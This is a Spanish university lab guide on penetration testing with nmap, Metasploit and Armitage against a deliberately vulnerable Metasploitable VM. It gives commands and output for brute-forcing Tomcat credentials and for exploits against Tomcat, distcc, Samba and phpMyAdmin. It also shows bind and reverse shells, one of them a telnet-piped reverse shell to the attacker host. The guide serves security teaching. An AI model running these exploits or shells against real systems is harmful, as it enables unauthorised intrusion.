Tests de intrusión y explotación de vulnerabilidades: uso básico de Mestasploit

SSI 2018/19


Índice General

1 Descripción

Ejemplo de tareas y herramientas típicas empleadas en los tests de intrusión.

2 Entorno de prácticas

2.1 Software de virtualización VIRTUALBOX

En estas prácticas se empleará el software de virtualización VIRTUALBOX para simular los equipos GNU/Linux sobre los que se realizarán las pruebas.

2.2 Imágenes a utilizar

  1. Scripts de instalación

    Notas:

  2. Imágenes descargadas

  3. Usuarios configurados e inicio en el sistema

3 Ejercicio 1: Enumeración de equipos y servicios y detección de vulnerabilidades

3.1 Previo: tests de intrusión

3.2 Descripción

En este primer ejercicio veremos una herramienta que puede ser utilizada en las etapas iniciales de un test de intrusión (exploración y enumeración). Se trata del escáner de puertos NMAP
  1. NMAP es un escaner de puertos con capacidad de identificación de servicios y sistemas operativos, también posee funcionalidades de evasión y ocultación del escaneo.

Otro tipo de herramientas habituales en las etapas de enumeración son los escáneres de vulnerabilidades. Una de las más usadas es NESSUS (y su versión libre OpenVAS)

  1. NESSUS es un escaner de vulnerabilidades basado en plugins. Estos plugins realizan comprobaciones y simulan intentos de ataque tratando de aprovechar vulnerabilidades. NESSUS distribuye una colección de plugins bajo registro sin coste para uso no comercial (Home Feed) y una colección profesional más actualizada bajo subscripción de pago (Professional Feed).

    Nota: Aunque inicialmente NESSUS era un proyecto de código abierto, en la actualidad tiene una licencia privativa.

    El proyecto libre OpenVAS continuó evolucionando el código de antigua versión Open Source de NESSUS y ofrece funcionalidades similares.

3.3 Enumeración con NMAP

Desde la máquina ATACANTE

  1. Acceder como root (con password purple) y arrancar las X
    atacante:~# startx
    

  2. Abrir un terminal y lanzar un escaneo de equipos sobre la red actual (Ping Scan) para determinar que máquinas están conectadas en el segmento de red.
    atacante:~# nmap -sP 198.51.100.0/24
    

    Nos informará de que hay 2 equipos en la red: la máquina ATACANTE (con dirección IP 198.51.100.111) y la máquina METASPLOITABLE (con dirección IP 198.51.100.222)

  3. Lanzar un escaneo de servicios sobre el equipo METASPLOITABLE (no es necesario lanzarlo realmente)
    atacante:~# nmap -oX nmap.xml -O -sV -p1-65535 -T4 198.51.100.222
    

    Descripción de las opciones

    -sX nmap.xml
    especifica el nombre del fichero donde se volcará la salida del escaneo en el formato XML de NMAP
    -O
    Habilita la identificación del Sistema Operativo de la máquina escaneada
    -sV
    Habilita la identificación de los servicios a la escucha en los puertos descubiertos en la máquina escaneada
    198.51.100.222
    Dirección IP del destino del escaneo
    -p1-65535
    Rango de puertos a escanear [en este caso son todos los puertos y tardará varios minutos ($»$ 15)]
    -T4
    Tipo de temporización (timeouts, tasas de envío de paquetes, etc)

    Importante: Este escaneo NMAP es extremadamente lento, para agilizar el ejercicio se muestra a continuación la salida obtenida y en la máquina virtual Atacante está disponible el resultado del análisis en formato XML (ver el archivo /root/nmap.xml)

    Resultados obtenidos

    root@atacante:~# nmap -oX nmap.xml -O -sV -p1-65535 -T4 198.51.100.222
    
    Starting Nmap 7.40 ( https://nmap.org ) at 2018-10-14 23:11 CEST
    Nmap scan report for metasploitable2.ssi.net (198.51.100.222)
    Host is up (0.00073s latency).
    Not shown: 65506 closed ports
    PORT      STATE SERVICE     VERSION
    21/tcp    open  ftp         vsftpd 2.3.4
    22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
    23/tcp    open  telnet      Linux telnetd
    25/tcp    open  smtp        Postfix smtpd
    53/tcp    open  domain      ISC BIND 9.4.2
    80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
    111/tcp   open  rpcbind     2 (RPC #100000)
    139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
    512/tcp   open  exec        netkit-rsh rexecd
    513/tcp   open  login?
    514/tcp   open  shell       Netkit rshd
    1099/tcp  open  rmiregistry GNU Classpath grmiregistry
    1524/tcp  open  shell       Metasploitable root shell
    2049/tcp  open  nfs         2-4 (RPC #100003)
    2121/tcp  open  ftp         ProFTPD 1.3.1
    3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
    3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
    5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
    5900/tcp  open  vnc         VNC (protocol 3.3)
    6000/tcp  open  X11         (access denied)
    6667/tcp  open  irc         UnrealIRCd
    6697/tcp  open  irc         UnrealIRCd
    8080/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
    8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
    38940/tcp open  status      1 (RPC #100024)
    54693/tcp open  nlockmgr    1-4 (RPC #100021)
    56059/tcp open  mountd      1-3 (RPC #100005)
    58858/tcp open  unknown
    MAC Address: 08:00:27:22:22:22 (Oracle VirtualBox virtual NIC)
    Device type: general purpose
    Running: Linux 2.6.X
    OS CPE: cpe:/o:linux:linux_kernel:2.6
    OS details: Linux 2.6.9 - 2.6.33
    Network Distance: 1 hop
    Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
    
    OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 1774.20 seconds
    

4 Ejercicio 2: Explotación de vulnerabilidades con Metasploit

4.1 Descripción

En este ejercicio veremos el uso del Framework Metasploit en tareas de explotación de vulnerabilidades y acceso a equipos comprometidos.

Metasploit es un Framework multiplataforma escrito en Ruby que abstrae las tareas típicas de una intrusión, ofreciendo un esquema modular donde combinar e integrar distintos tipos de exploits y herramientas de acceso y control de equipos y servicios comprometidos. Incluye también módulos adicionales para las fases de rastreo y enumeración, además de poder integrar la información proporcionada por otras herramientas como NMAP, NESSUS, OpenVAS, etc.

4.1.1 Conceptos

Image exploit_payload

Ejemplos

4.1.2 Arquitectura de Metasploit

Metasploit sigue un arquitectura modular, organizada alrededor de un núcleo que estructura la aplicación y ofrece las funcionalidades básicas.

Más información en http://www.metasploit.com y http://en.wikipedia.org/wiki/Metasploit_Project.

Consulta e información sobre los módulos disponibles: http://www.rapid7.com/db/modules

Detalles: curso on-line sobre metasploit

4.1.3 Interfaces de usuario

Sobre el Framework Metasploit se han desarrollado distintos tipos de interfaces de usuario, bien como parte del núcleo del propio framework o como proyectos independientes.

msfconsole
Consola en modo texto de Metasploit, es el interfaz más usado y ofrece acceso a la totalidad de funcionalidades del framework.
msfcli
Expone las funcionalidades del framework para acceder a ellas desde línea de comandos y shell scripts.
msfweb
Expone las funcionalidades del framework mediante un interfaz web
msfrpc/msfrpcd
Expone las funcionalidades del framework para acceder a ellas mediante un mecanismo de RPC (remote procedure call)
msfgui
Interfaz gráfico basado en Java Swing. Accede a las funcionalidades del framework usando msfrpcd [obsoleta].
Armitage
Interfaz gráfico basado en Java Swing. Es un proycto independiente con mejoras respecto a msfgui, mucho más amigable, con mejor usabilidad, con asistencia al usuario y automatización de determinadas tareas. Accede a las funcionalidades del framework usando msfrpcd.
otros
 
msfpayload/msfencode
permiten crear (y codificar) payloads desde línea de comandos. Se usa para generar ficheros con payloads a desplegar/ejecutar directamente en las víctimas.
msfupdate
actualiza mediante svn (subversion) los módulos del framework a la última versión disponible.

4.1.4 Comandos de msfconsole

Ver resumen en Msfconsole Commands

4.2 Uso de msfconsole

Previo. Desde la máquina ATACANTE: iniciar los servidores incluidos en la distribución de Metasploit

	atacante:~# systemctl start metasploit.service
Nota: el script de inicio de Metasploit fue deshabilitado y es necesario iniciarlo manualmente (también puede habilitarse el inicio de Metasploit durante el arranque con sytemctl enable metasploit.service)

Desde la máquina ATACANTE: arrancar msfconsole desde un terminal

atacante:~# msfconsole

Muestra un banner e información de la versión del framework, última actualización y número de módulos disponibles.

4.2.1 Escaneo e identificación de equipos y servicios

Metasploit puede configurarse para utilizar una base de datos donde guardar información de los equipos localizados, sus servicios y vulnerabilidades, junto con información adicional como notas y eventos. Esa información puede generarla el propio Metasploit a partir de sus módulos Auxiliary o cargarla a partir de herramientas externas.

  1. Lanzar un escaneo de puertos sobre el segmento de red con NMAP y almacenar los resultados
    msf > db_nmap -O -sV -T4 198.51.100.0/24
    

    Nota: También se puede importar el resultado del escaneo con NMAP realizado previamente

    msf > db_import /root/nmap.xml
    

  2. Importar los resultados de los análisis realizados previamente con NESSUS y OpenVAS
    msf > db_import /root/nessus_report_Escaneo_Metasploit.nessus
    msf > db_import /root/report-openvas_Escaneo_Metasploit.xml
    

  3. Comprobar los datos almacenados (hosts, servicios, vulnerabilidades).
    msf > hosts
    msf > services
    msf > vulns
    

    Se puede recuperar, editar o eliminar información de un host o servicio específico (ver hosts -h o services -h)

4.2.2 Uso de módulos

  1. Buscar posibles módulos (exploits, etc) a utilizar sobre los servicios identificados en la máquina víctima.

4.2.3 Explotación de Tomcat

  1. Seleccionamos el exploit y vemos su descripción y opciones.
    msf > use exploit/multi/http/tomcat_mgr_deploy 
    msf  exploit(tomcat_mgr_deploy) > info
    
    Debemos especificar valores para HttpUsername y HttpPassword. Podremos intentar obtenerlos con un módulo auxiliar que prueba un diccionario de pares usuario+clave usando fuerza bruta.

  2. Extracción de credenciales Tomcat (módulo auxiliar auxiliary/scanner/http/tomcat_mgr_login)
    msf > use auxiliary/scanner/http/tomcat_mgr_login
    msf  auxiliary(tomcat_mgr_login) > info
    
    Debemos especificar la máquina objetivo (RHOSTS: 198.51.100.222), el puerto (RPORT:8080), la URI de la aplicación de gestion de Tomcat (URI) y los ficheros con los nombres de usuario y las contraseñas a probar (USER_FILE, PASS_FILE).

    Bastará con especificar el valor de RHOST y RPORT, con el resto de parámetros se usarán los valores por defecto

    msf  auxiliary(tomcat_mgr_login) > set RHOSTS 198.51.100.222
    RHOSTS => 198.51.100.222
    msf  auxiliary(tomcat_mgr_login) > run
    
    [*] 198.51.100.222:8080 TOMCAT_MGR - [01/50] - Trying username:'admin' with password:”
    [-] 198.51.100.222:8080 TOMCAT_MGR - [01/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'admin'
    ...
    [*] 198.51.100.222:8080 TOMCAT_MGR - [16/50] - Trying username:'tomcat' with password:'tomcat'
    [+] http://198.51.100.222:8080/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
    ...
    [*] 198.51.100.222:8080 TOMCAT_MGR - [46/50] - Trying username:'both' with password:'tomcat'
    [-] 198.51.100.222:8080 TOMCAT_MGR - [46/50] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    
    Nos informa que se puede acceder a la web de administración de Tomcat con las credenciales tomcat/tomcat

  3. Configuración y uso del exploit exploit/multi/http/tomcat_mgr_deploy
    msf  auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy 
    msf  exploit(tomcat_mgr_deploy) > info
    
    Debemos especificar la máquina objetivo (RHOST), el puerto (RPORT), el path a la aplicación de gestion de Tomcat (PATH) y el nombre de usuario (HttpUsername) y la contraseña (HttpPassword).
    msf  exploit(tomcat_mgr_deploy) > set RHOST 198.51.100.222
    msf  exploit(tomcat_mgr_deploy) > set RPORT 8080
    msf  exploit(tomcat_mgr_deploy) > set HttpUsername tomcat
    msf  exploit(tomcat_mgr_deploy) > set HttpPassword tomcat
    

    Funcionamiento: El exploit creará un fichero WAR con una aplicación web Java ”maliciosa” cuya única misión será la de poner en ejecución dentro de la máquina víctima el PAYLOAD que especifiquemos.

    En este ejemplo se usará el PAYLOAD java/shell/bind_tcp (conexión directa)

    Nota: con set PAYLOAD+<tab> o con show payloads se muestra la lista de PAYLOADs admitidos por el exploit actual.

    msf  exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp
    msf  exploit(tomcat_mgr_deploy) > show options
    
    Este PAYLOAD tiene sus propias opciones, exige que indiquemos la máquina víctima (RHOST, remote host) y el puerto de escucha en dicha víctima (LPORT, listening port)
    msf  exploit(tomcat_mgr_deploy) > set LPORT 11111
    msf  exploit(tomcat_mgr_deploy) > show options
    

    Al lanzar el exploit se abrirá una sesión en la máquina víctima.

    msf  exploit(tomcat_mgr_deploy) > exploit
    
    [*] Started bind handler
    [*] Attempting to automatically select a target...
    [*] Automatically selected target "Linux x86"
    [*] Uploading 6213 bytes as nZAPfHCskfkmDVB.war ...
    [*] Executing /nZAPfHCskfkmDVB/97PNxj.jsp...
    [*] Undeploying nZAPfHCskfkmDVB ...
    [*] Sending stage (2439 bytes) to 198.51.100.222
    [*] Command shell session 1 opened (198.51.100.111:42731 -> 198.51.100.222:11111) at 2018-10-14 23:42:21 +0200
    
    ls -l
    total 76
    drwxr-xr-x  2 root root  4096 2010-03-16 19:11 bin
    drwxr-xr-x  4 root root  4096 2011-12-10 10:31 boot
    ...
    lrwxrwxrwx  1 root root    30 2011-12-10 09:31 vmlinuz -> boot/vmlinuz-2.6.24-30-virtual
    uname -a
    Linux metasploitable.ssi.net 2.6.24-30-virtual #1 SMP Sun Oct 14 23:42:52 UTC 2011 i686 GNU/Linux
    whoami
    tomcat55
    ...
    

    Nota: Normalmente el exploit no funciona en el primer intento (aunque sí despliega, invoca y repliega la aplicación web maliciosa) y requiere invocar varias veces el comando exploit, hasta que finalmente abre la sesión.

     

    En la víctima podemos comprobar que hay un nuevo proceso /bin/sh propiedad del usuario tomcat55 y sin terminal asociado.

    metasploitable:~$ ps -aux | grep  tomcat55
    

    Podemos comprobar que la conexión está efectivamente establecida, lanzando el comando netstat -tn en ambos equipos.

    atacante:~# netstat -tn
    Active Internet connections (w/o servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    ...
    tcp        0      0 198.51.100.111:43550   198.51.100.222:11111   ESTABLISHED
    ...
    
    metasploitable:~$ netstat -tn
    Active Internet connections (w/o servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 198.51.100.222:11111   198.51.100.111:43550   ESTABLISHED
    
    Nota: las sesiones se finalizan con CONTROL+C

  4. Uso de un PAYLOAD alternativo (conexión inversa)

    Otro posible exploit sería java/shell/reverse_tcp con un comportamiento inverso a la hora de las conexiones. En este caso será el PAYLOAD en ejecución en la víctima quien se conectará a un puerto local de la máquina atacante (o de la máquina que le indiquemos).

    msf  exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/reverse_tcp
    msf  exploit(tomcat_mgr_deploy) > show options
    msf  exploit(tomcat_mgr_deploy) > set LHOST 198.51.100.111
    msf  exploit(tomcat_mgr_deploy) > set LPORT 22222
    msf  exploit(tomcat_mgr_deploy) > exploit
    
    Debemos especificar la dirección (LHOST, listening host) y el puerto (LPORT, listening port) a donde debe conectarse el PAYLOAD.

    atacanteS:~# netstat -tn
    Active Internet connections (w/o servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    ...
    tcp        0      0 198.51.100.111:22222   198.51.100.222:57091   ESTABLISHED
    
    metasploitable:~$ netstat -tn
    Active Internet connections (w/o servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State      
    tcp        0      0 198.51.100.222:57091   1198.51.100.111:22222   ESTABLISHED
    

  5. Inspección del código del exploit y del PAYLOAD

    Se puede ver el código Ruby con la implementación del exploit y del PAYLOAD

    atacante:~# cd /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.17.16/modules/
    atacante:~# less exploits/multi/http/tomcat_mgr_deploy.rb
                   < buscar la función exploit >
    
    atacante:~# less payloads/stagers/java/bind_tcp.rb 
    atacante:~# less payloads/stages/java/shell.rb 
    
    atacante:~# less /opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.17.16/lib/msf/core/payload/java.rb
    
    También está disponible el código Java inyectado por el exploit responsable de crear el intérprete de comandos y ponerse a la escucha. (ver http://schierlm.users.sourceforge.net/JavaPayload/) También se puede ver el aspecto que tendría un fichero WAR con el PAYLOAD seleccionado (no es exactamente el que desplegará el exploit anterior)
    atacante:~# msfvenom -p java/shell/bind_tcp LPORT=33333 RHOST=198.51.100.222 W > /tmp/ejemplo.war
    atacante:~# cd /tmp
    atacante:/tmp# unzip ejemplo.war
    atacante:/tmp# cat metasploit.dat
    atacante:/tmp# ls -l metasploit/*
    

4.3 Uso del interfaz gráfico armitage

Armitage es un interfaz gráfico alternativo para Metasploit que pretende simplificar el uso del framework. Hace uso del servidor RPC integrado en el framework (msfrpcd) para acceder a las funcionalidades que ofrece Metasploit.

4.3.1 Inicio y uso básico

Desde un terminal de la máquina ATACANTE, arrancar Armitage

atacante:~# java -jar /opt/metasloit/armitage/armitage.jar &

Al inciarse la aplicación se nos piden los datos para conectarse al servidor RPC del framework Metasploit (msfrpcd).

Nota: Si el servidor RPC no está conectado con la Base de Datos de Metasploit, habilitar la conexión desde la consola de Armitage e inicializar el caché de módulos

msf > db_status
cd
msf > db_connect -y /opt/metasploit/apps/pro/ui/config/database.yml
msf > db_status
msf > db_rebuild_cache         (sólo la primera vez)

En la sección de Hosts de Armitage se muestran iconos para los equipos registrados en la base de datos de Metasploit. En nuestro caso aparece el host que habíamos identificado anteriormente con db_nmap al incio del ejercicio. De ser necesario podrían lanzarse nuevos escaneos desde Armitage [[Menú Hosts] -> Import / NmapScan / etc ])

4.3.1.1 Vincular posibles ataques a un host víctima

Armitage ofrece la funcionalidad de cruzar la información sobre servicios de un hosts con la información de los exploits para vincular a una máquina una lista de los potenciales ataques.

La opción [Menú Attack] -> HailMary va un paso más allá.

Nota: en la mayoría de los casos las opciones por defecto que usará Hail Mary no son las adecuadas y la explotación no tendrá exito.

4.3.2 Explotar el servicio distcc (compilación distribuida)

El escaneo de puertos de nmap informó de que existe un servicio distcc en el puerto 3632.

DistCC es un servicio que coordina la compilación distribuida de programas (ver http://en.wikipedia.org/wiki/Distcc). Mestasploitable incluye una versión vulnerable de este servidor.

  1. Sobre el host (198.51.100.222) seleccionar este ataque: [botón derecho] -> Attacks -> misc -> distcc_exec
  2. Se abre un diálogo donde ser muestra la descripción del exploit (exploit/unix/misc/distcc_exec) y se permite configurar sus parámetros y los posibles PAYLOADS (en caso de que el exploit admita diversos tipos)
  3. Para este ejemplo los parámetros fijados por Armitage son correctos.

    En este caso se usará un PAYLOAD generic/shell_bind_tcp

  4. El exploit+payload se lanza con el botón [Launch]

Nota: En la “consola“ se muestra la secuencia de acciones equivalentes en msfconsole

Si el ataque tuvo éxito se modifica el icono del host y se añadirá un un submenú contextual Shell #

En la víctima se puede comprobar que hay procesos ”extraños“ en ejecución.

metasploitable:~# ps -aux | less
metasploitable:~# pstree -aclu | less

Accediendo a la opción Post modules del menú contextual vinculado a la sesión con la víctima se muestran en el árbol izquierdo la lista de módulos de post explotación admitidos por el PAYLOAD actual.

4.3.3 Tarea: explotar el servicio SMB (samba)

El escaneo de puertos de nmap informó de que existe un servidor Samba smbd en los puertos 139 y 445.

Repitiendo las acciones del ejemplo anterior se puede intentar aprovechar una vulnerabilidad en el servidor Samba de Metasploitable para ganar acceso a la máquina comprometida.

  1. Sobre el host (198.51.100.222) [botón derecho] -> Attacks -> samba -> usermap_script
  2. Se usará el exploit exploit/multi/samba/usermap_script

Si en la víctima se comprueban los procesos en ejecución, de nuevo saldrán cosas ”extrañas“.

metasploitable:~# ps -aux | less
metasploitable:~# pstree -aclu | less
En este caso veremos que el exploit a inyectado un comando de shell que haciendo uso de la herramienta nc/netcat redireccióna la E/S de un intérprete de comandos sobre un puerto de la máquina atacante.
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  1.3   2848  1688 ?        Ss   19:23   0:00 /sbin/init
...
root      4568  0.0  0.1   3164  1024 ?        S    13:28   0:00 telnet 198.51.100.111 24899
root      4569  0.0  0.1   2724   572 ?        S    13:28   0:00 sh -c (sleep 4494|telnet 198.51.100.111 24899|while : ; do sh && break; done 2>&1|telnet 198.51.100.111 24899 >/dev/null 2>&1 &)
...

4.3.4 Explotar una versión vulnerable de phpMyAdmin + uso de Meterpreter

En la víctima hay instalada una versión antigua (y vulnerable) de phpMyAdmin

Pasos a seguir:

  1. Sobre el host (198.51.100.222) [botón derecho] -> Attacks -> webapp -> phpmyadmin_config

    Se usará el exploit exploit/unix/webapp/phpmyadmin_config.

    Se puede comprobar que la versión de phpMyAdmin instalada en Metasploitable es compatible con este exploit.

  2. Asegurar que la opción URI es exactamente /phpMyAdmin/ (el exploit es sensible a mayúsculas/minúsculas)

  3. Lanzar el exploit con el PAYLOAD por defecto.

4.3.4.1 Uso de Meterpreter

 

Lanzaremos de nuevo el exploit con un PAYLOAD más sofisticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_tcp) que carga la herramienta Meterpreter en la víctima (en este caso el código inyectado por el PAYLOAD es PHP)

Pasos a seguir:

  1. Cerrar (disconnect) la sesión arrancada actualmente.
  2. Sobre la pestaña exploit de la ”consola“ de Armitage vinculada al ataque con exploit/unix/webapp/phpmyadmin_config, cambiar el PAYLOAD y lanzar de nuevo el exploit manualmente.
    msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp
    msf exploit(phpmyadmin_config) > show options
    msf exploit(phpmyadmin_config) > exploit
    

  3. Se abre un menú contextual nuevo sobre el icono del host atacado, etiquetado como Meterpreter # con las opciones concretas de este PAYLOAD.

  4. Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)

4.3.5 Tarea: explotar la aplicación web TikiWiki

En la víctima también hay instalada una versión antigua (y vulnerable) del software de gestión de wikis TikiWiki

Exploit a emplear: exploit/unix/webapp/tikiwiki_graph_formula_exec

Sobre el hosts 198.51.100.222: [botón derecho] -> Attacks -> webapp -> tikiwiki_graph_formula_exec

5 Documentación a entregar

Se trata de realizar un ”simulacro” de informe técnico de un test de intrusión sobre la red que contiene la máquina METASPLOITABLE.

Esquema propuesto (hasta 5-6 páginas)

Entrega: FAITIC

Fecha límite: día del examen (8/1/2019)